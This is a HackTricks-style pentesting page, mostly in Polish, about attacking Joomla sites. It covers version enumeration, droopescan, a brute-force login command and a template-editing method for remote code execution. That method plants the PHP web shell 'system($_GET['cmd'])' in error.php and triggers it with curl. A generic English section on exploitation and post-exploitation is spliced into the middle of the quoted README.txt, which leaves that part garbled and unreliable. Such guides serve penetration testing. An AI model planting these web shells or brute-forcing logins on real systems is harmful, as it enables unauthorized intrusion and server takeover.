hacktricks/network-services-pentesting/pentesting-web/joomla.md
2024-02-11 01:46:25 +00:00

8.8 KiB

Joomla

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Statystyki Joomla

Joomla zbiera pewne anonimowe statystyki użytkowania, takie jak podział wersji Joomla, PHP i baz danych oraz systemów operacyjnych serwera używanych w instalacjach Joomla. Dane te można zapytać za pomocą publicznego API.

curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool

{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}

Wyliczanie

Odkrywanie / Pozyskiwanie informacji

  • Sprawdź meta
curl https://www.joomla.org/ | grep Joomla | grep generator

<meta name="generator" content="Joomla! - Open Source Content Management" />
  • robots.txt

Plik robots.txt jest plikiem tekstowym używanym przez witryny internetowe do komunikacji z robotami wyszukiwarek. Jest to zazwyczaj umieszczane w głównym katalogu witryny i zawiera instrukcje dla robotów wyszukiwarek dotyczące indeksowania i przeglądania strony. Plik robots.txt może zawierać polecenia, takie jak "User-agent", które określają, które roboty wyszukiwarek mają dostęp do witryny, oraz "Disallow", które określają, które części witryny nie powinny być indeksowane. Jest to przydatne narzędzie podczas testowania penetracyjnego, ponieważ może ujawnić informacje o ukrytych stronach lub katalogach, które nie powinny być publicznie dostępne.

# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
  • README.txt

Joomla

Enumeration

Version Detection

To determine the version of Joomla running on a target website, you can check the README.txt file located in the root directory. This file often contains information about the Joomla version and other useful details.

Directory Enumeration

Performing directory enumeration can help identify potential attack vectors and hidden files or directories. Tools like dirb or gobuster can be used to brute-force directories and discover additional paths.

Exploitation

Known Vulnerabilities

Joomla has had several vulnerabilities in the past, so it is crucial to stay updated with the latest security advisories. Exploiting known vulnerabilities can provide unauthorized access to the Joomla installation or even compromise the underlying server.

SQL Injection

Joomla is not immune to SQL injection attacks. By injecting malicious SQL queries into vulnerable parameters, an attacker can manipulate the database and potentially gain unauthorized access to sensitive information.

File Inclusion

File inclusion vulnerabilities in Joomla can allow an attacker to include and execute arbitrary files on the server. This can lead to remote code execution and complete compromise of the target system.

Cross-Site Scripting (XSS)

Cross-Site Scripting vulnerabilities in Joomla can be exploited to inject malicious scripts into web pages viewed by users. This can lead to session hijacking, defacement, or the theft of sensitive information.

Privilege Escalation

Once access to a Joomla installation is gained, privilege escalation techniques can be used to elevate privileges and gain further control over the system. This may involve exploiting misconfigurations, weak file permissions, or other vulnerabilities.

Post-Exploitation

After compromising a Joomla installation, it is important to maintain access and perform post-exploitation activities. This may include creating backdoors, stealing data, or pivoting to other systems within the network.

Conclusion

Understanding the vulnerabilities and exploitation techniques related to Joomla is essential for conducting effective penetration testing. By identifying and exploiting weaknesses in Joomla installations, pentesters can help organizations improve their security posture and protect against potential attacks.

1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging

Wersja

  • W /administrator/manifests/files/joomla.xml można zobaczyć wersję.
  • W /language/en-GB/en-GB.xml można uzyskać wersję Joomla.
  • W plugins/system/cache/cache.xml można zobaczyć przybliżoną wersję.

Automatyczne

droopescan scan joomla --url http://joomla-site.local/

W 80,443 - Metodologia testowania penetracyjnego aplikacji internetowych to sekcja o skanerach CMS, które mogą skanować Joomla.

Atak Brute-Force

Możesz użyć tego skryptu, aby spróbować przeprowadzić atak Brute-Force na logowanie.

sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin

admin:admin

RCE (Remote Code Execution)

Jeśli udało Ci się zdobyć dane logowania administratora, możesz uzyskać RCE (zdalne wykonanie kodu), dodając fragment kodu PHP, aby uzyskać RCE. Możemy to zrobić, dostosowując szablon.

  1. Kliknij na Szablony na dole po lewej stronie pod Konfiguracja, aby otworzyć menu szablonów.
  2. Kliknij na nazwę szablonu. Wybierzmy protostar pod nagłówkiem Szablon. Spowoduje to otwarcie strony Szablony: Dostosuj.
  3. Wreszcie, możesz kliknąć na stronę, aby otworzyć źródło strony. Wybierzmy stronę error.php. Dodamy jednolinijkowy kod PHP do zdalnego wykonania, jak poniżej:
  4. system($_GET['cmd']);
  5. Zapisz i zamknij
  6. curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!